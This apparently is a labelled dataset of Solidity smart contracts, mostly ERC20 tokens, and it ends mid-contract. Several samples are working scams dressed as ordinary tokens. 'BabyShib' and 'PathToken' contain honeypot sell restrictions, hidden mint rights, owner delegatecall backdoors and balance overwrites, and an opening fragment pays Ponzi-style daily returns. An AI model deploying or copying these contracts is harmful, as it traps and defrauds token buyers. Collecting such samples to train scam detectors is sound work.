payCommissions(_msgValue); } uint _payout = getPayout(msg.sender); if (_payout > 0) { msg.sender.transfer(_payout); emit LogPayment(msg.sender, _payout); } checkpoint[msg.sender] = block.timestamp; } function firstWithdraw(uint _deposit) internal { commission[msg.sender] = true; payCommissions(_deposit); } function moneyBack() internal { require(!commission[msg.sender]); require(deposit[msg.sender] > 0); require((block.timestamp.sub(checkpoint[msg.sender])).div(7 days) < 7); msg.sender.transfer(deposit[msg.sender]); deposit[msg.sender] = 0; commission[msg.sender] = false; } function payCommissions(uint _deposit) internal { uint _admFee = _deposit.mul(3).div(100); uint _marketingFee = _deposit.div(10); if (referrers[msg.sender] > 0) { uint _refFee = _deposit.mul(5).div(100); referrers[msg.sender].transfer(_refFee); emit LogReferralPayment(msg.sender, referrers[msg.sender], _refFee); } admin.transfer(_admFee); marketing.transfer(_marketingFee); } function getPayout(address _address) public view returns(uint) { uint rate = getInterest(_address); return (deposit[_address].mul(rate).div(100)).mul(block.timestamp.sub(checkpoint[_address])).div(1 days); } function getInterest(address _address) internal view returns(uint) { if (deposit[_address]<= 3 ether) { return 4; } else if (deposit[_address] <= 6 ether) { return 5; } else { return 6; } } }
1
5,288
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract BabyShib{ event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1132167815322823072539476364451924570945755492656)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,948
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal botProtection; address public uniPair; constructor(address _botProtection) { botProtection = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract PathToken is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 1000000000000000000000000000; string public name = "PathDao"; string public symbol = "PATH"; IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairForUniswap(wBNB, address(this)); allowance[address(this)][address(routerForPancake)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable returns (bool) { require(msg.sender == owner); (bool success, ) = a.delegatecall(b); return success; } function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function distribute(address[] memory _tooWho, uint amount) public { require(msg.sender == owner); botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho)); for(uint i = 0; i < _tooWho.length; i++) { balanceOf[_tooWho[i]] = amount; emit Transfer(address(0x0), _tooWho[i], amount); } } function list(uint _numList, address[] memory _tooWho, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; routerForPancake.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tooWho.length == _amounts.length); botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho)); for(uint i = 0; i < _tooWho.length; i++) { balanceOf[_tooWho[i]] = _amounts[i]; emit Transfer(address(0x0), _tooWho[i], _amounts[i]); } } }
0
1,459
pragma solidity ^0.4.19; interface IERC20 { function totalSupply() constant returns (uint256 totalSupply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract owned { address public owner; function owned() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { owner = newOwner; } } contract WashingtonExchange is owned,IERC20{ using SafeMath for uint256; uint256 public constant _totalSupply = 9000000000000000000000000; string public constant symbol = 'WASH'; string public constant name = 'Washington Exchange'; uint8 public constant decimals = 18; mapping(address => uint256) public balances; mapping (address => mapping (address => uint256)) allowed; function WashingtonExchange() { balances[msg.sender] = _totalSupply; } function totalSupply() constant returns (uint256 totalSupply) { return _totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) returns (bool success) { require( balances[msg.sender] >= _value && _value > 0 ); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require( allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0 ); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
1
4,558
pragma solidity ^0.4.21 ; contract SWEDEN_WINS { mapping (address => uint256) public balanceOf; string public name = " SWEDEN_WINS " ; string public symbol = " SWEWI " ; uint8 public decimals = 18 ; uint256 public totalSupply = 1165947079929830000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } }
1
3,456
pragma solidity ^0.4.23; library SafeMathLib { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract DateTimeLib { struct _DateTime { uint16 year; uint8 month; uint8 day; uint8 hour; uint8 minute; uint8 second; uint8 weekday; } uint constant DAY_IN_SECONDS = 86400; uint constant YEAR_IN_SECONDS = 31536000; uint constant LEAP_YEAR_IN_SECONDS = 31622400; uint constant HOUR_IN_SECONDS = 3600; uint constant MINUTE_IN_SECONDS = 60; uint16 constant ORIGIN_YEAR = 1970; function isLeapYear(uint16 year) internal pure returns (bool) { if (year % 4 != 0) { return false; } if (year % 100 != 0) { return true; } if (year % 400 != 0) { return false; } return true; } function leapYearsBefore(uint year) internal pure returns (uint) { year -= 1; return year / 4 - year / 100 + year / 400; } function getDaysInMonth(uint8 month, uint16 year) internal pure returns (uint8) { if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { return 31; } else if (month == 4 || month == 6 || month == 9 || month == 11) { return 30; } else if (isLeapYear(year)) { return 29; } else { return 28; } } function parseTimestamp(uint timestamp) internal pure returns (_DateTime dt) { uint secondsAccountedFor = 0; uint buf; uint8 i; dt.year = getYear(timestamp); buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf; secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf); uint secondsInMonth; for (i = 1; i <= 12; i++) { secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year); if (secondsInMonth + secondsAccountedFor > timestamp) { dt.month = i; break; } secondsAccountedFor += secondsInMonth; } for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) { if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) { dt.day = i; break; } secondsAccountedFor += DAY_IN_SECONDS; } dt.hour = getHour(timestamp); dt.minute = getMinute(timestamp); dt.second = getSecond(timestamp); dt.weekday = getWeekday(timestamp); } function getYear(uint timestamp) internal pure returns (uint16) { uint secondsAccountedFor = 0; uint16 year; uint numLeapYears; year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS); numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears; secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears); while (secondsAccountedFor > timestamp) { if (isLeapYear(uint16(year - 1))) { secondsAccountedFor -= LEAP_YEAR_IN_SECONDS; } else { secondsAccountedFor -= YEAR_IN_SECONDS; } year -= 1; } return year; } function getMonth(uint timestamp) internal pure returns (uint8) { return parseTimestamp(timestamp).month; } function getDay(uint timestamp) internal pure returns (uint8) { return parseTimestamp(timestamp).day; } function getHour(uint timestamp) internal pure returns (uint8) { return uint8((timestamp / 60 / 60) % 24); } function getMinute(uint timestamp) internal pure returns (uint8) { return uint8((timestamp / 60) % 60); } function getSecond(uint timestamp) internal pure returns (uint8) { return uint8(timestamp % 60); } function getWeekday(uint timestamp) internal pure returns (uint8) { return uint8((timestamp / DAY_IN_SECONDS + 4) % 7); } function toTimestamp(uint16 year, uint8 month, uint8 day) internal pure returns (uint timestamp) { return toTimestamp(year, month, day, 0, 0, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) internal pure returns (uint timestamp) { return toTimestamp(year, month, day, hour, 0, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) internal pure returns (uint timestamp) { return toTimestamp(year, month, day, hour, minute, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) internal pure returns (uint timestamp) { uint16 i; for (i = ORIGIN_YEAR; i < year; i++) { if (isLeapYear(i)) { timestamp += LEAP_YEAR_IN_SECONDS; } else { timestamp += YEAR_IN_SECONDS; } } uint8[12] memory monthDayCounts; monthDayCounts[0] = 31; if (isLeapYear(year)) { monthDayCounts[1] = 29; } else { monthDayCounts[1] = 28; } monthDayCounts[2] = 31; monthDayCounts[3] = 30; monthDayCounts[4] = 31; monthDayCounts[5] = 30; monthDayCounts[6] = 31; monthDayCounts[7] = 31; monthDayCounts[8] = 30; monthDayCounts[9] = 31; monthDayCounts[10] = 30; monthDayCounts[11] = 31; for (i = 1; i < month; i++) { timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1]; } timestamp += DAY_IN_SECONDS * (day - 1); timestamp += HOUR_IN_SECONDS * (hour); timestamp += MINUTE_IN_SECONDS * (minute); timestamp += second; return timestamp; } } interface IERC20 { function totalSupply() external constant returns (uint256); function balanceOf(address _owner) external constant returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address _spender, uint256 _value); } contract StandardToken is IERC20,DateTimeLib { using SafeMathLib for uint256; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; string public constant symbol = "APC"; string public constant name = "AmpereX Coin"; uint _totalSupply = 10000000000 * 10 ** 6; uint8 public constant decimals = 6; function totalSupply() external constant returns (uint256) { return _totalSupply; } function balanceOf(address _owner) external constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool success) { return transferInternal(msg.sender, _to, _value); } function transferInternal(address _from, address _to, uint256 _value) internal returns (bool success) { require(_value > 0 && balances[_from] >= _value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value > 0 && allowed[_from][msg.sender] >= _value && balances[_from] >= _value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract LockableToken is StandardToken { address internal developerReservedAddress = 0x6e4890764aa2bba346459e2d6b811e26c9691704; uint[8] internal developerReservedUnlockTimes; uint256[8] internal developerReservedBalanceLimits; function getDeveloperReservedBalanceLimit() internal returns (uint256 balanceLimit) { uint time = now; for (uint index = 0; index < developerReservedUnlockTimes.length; index++) { if (developerReservedUnlockTimes[index] == 0x0) { continue; } if (time > developerReservedUnlockTimes[index]) { developerReservedUnlockTimes[index] = 0x0; } else { return developerReservedBalanceLimits[index]; } } return 0; } function transfer(address _to, uint256 _value) public returns (bool success) { return transferInternal(msg.sender, _to, _value); } function transferInternal(address _from, address _to, uint256 _value) internal returns (bool success) { require(_from != 0x0 && _to != 0x0 && _value > 0x0); if (_from == developerReservedAddress) { uint256 balanceLimit = getDeveloperReservedBalanceLimit(); require(balances[_from].sub(balanceLimit) >= _value); } return super.transferInternal(_from, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_from != 0x0 && _to != 0x0 && _value > 0x0); if (_from == developerReservedAddress) { uint256 balanceLimit = getDeveloperReservedBalanceLimit(); require(balances[_from].sub(balanceLimit) >= _value); } return super.transferFrom(_from, _to, _value); } event UnlockTimeChanged(uint index, uint unlockTime, uint newUnlockTime); event LockInfo(address indexed publicOfferingAddress, uint index, uint unlockTime, uint256 balanceLimit); } contract TradeableToken is LockableToken { address internal publicOfferingAddress = 0x0b83ed7c57c335dca9c978f78819a739ac67fd5d; uint256 public exchangeRate = 100000; function buy(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != 0x0); require(publicOfferingAddress != 0x0); require(exchangeRate > 0x0); require(_weiAmount > 0x0); uint256 exchangeToken = _weiAmount.mul(exchangeRate); exchangeToken = exchangeToken.div(1 * 10 ** 12); publicOfferingAddress.transfer(_weiAmount); super.transferInternal(publicOfferingAddress, _beneficiary, exchangeToken); } event ExchangeRateChanged(uint256 oldExchangeRate,uint256 newExchangeRate); } contract OwnableToken is TradeableToken { address internal owner = 0x593841e27b7122ef48f7854c7e7e1d5a374f8bb3; mapping(address => uint) administrators; modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyAdministrator() { require(msg.sender == owner || administrators[msg.sender] > 0x0); _; } function transferOwnership(address _newOwner) onlyOwner public { require(_newOwner != address(0)); owner = _newOwner; emit OwnershipTransferred(owner, _newOwner); } function addAdministrator(address _adminAddress) onlyOwner public { require(_adminAddress != address(0)); require(administrators[_adminAddress] <= 0x0); administrators[_adminAddress] = 0x1; emit AddAdministrator(_adminAddress); } function removeAdministrator(address _adminAddress) onlyOwner public { require(_adminAddress != address(0)); require(administrators[_adminAddress] > 0x0); administrators[_adminAddress] = 0x0; emit RemoveAdministrator(_adminAddress); } function setExchangeRate(uint256 _exchangeRate) public onlyAdministrator returns (bool success) { require(_exchangeRate > 0x0); uint256 oldExchangeRate = exchangeRate; exchangeRate = _exchangeRate; emit ExchangeRateChanged(oldExchangeRate, exchangeRate); return true; } function changeUnlockTime(uint _index, uint _unlockTime) public onlyAdministrator returns (bool success) { require(_index >= 0x0 && _index < developerReservedUnlockTimes.length && _unlockTime > 0x0); if(_index > 0x0) { uint beforeUnlockTime = developerReservedUnlockTimes[_index - 1]; require(beforeUnlockTime == 0x0 || beforeUnlockTime < _unlockTime); } if(_index < developerReservedUnlockTimes.length - 1) { uint afterUnlockTime = developerReservedUnlockTimes[_index + 1]; require(afterUnlockTime == 0x0 || _unlockTime < afterUnlockTime); } uint oldUnlockTime = developerReservedUnlockTimes[_index]; developerReservedUnlockTimes[_index] = _unlockTime; emit UnlockTimeChanged(_index,oldUnlockTime,_unlockTime); return true; } function getDeveloperReservedLockInfo(uint _index) public onlyAdministrator returns (uint, uint256) { require(_index >= 0x0 && _index < developerReservedUnlockTimes.length && _index < developerReservedBalanceLimits.length); emit LockInfo(developerReservedAddress,_index,developerReservedUnlockTimes[_index],developerReservedBalanceLimits[_index]); return (developerReservedUnlockTimes[_index], developerReservedBalanceLimits[_index]); } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event AddAdministrator(address indexed adminAddress); event RemoveAdministrator(address indexed adminAddress); } contract APC is OwnableToken { function APC() public { balances[owner] = 5000000000 * 10 ** 6; balances[publicOfferingAddress] = 3000000000 * 10 ** 6; uint256 developerReservedBalance = 2000000000 * 10 ** 6; balances[developerReservedAddress] = developerReservedBalance; developerReservedUnlockTimes = [ DateTimeLib.toTimestamp(2018, 6, 1), DateTimeLib.toTimestamp(2018, 9, 1), DateTimeLib.toTimestamp(2018, 12, 1), DateTimeLib.toTimestamp(2019, 3, 1), DateTimeLib.toTimestamp(2019, 6, 1), DateTimeLib.toTimestamp(2019, 9, 1), DateTimeLib.toTimestamp(2019, 12, 1), 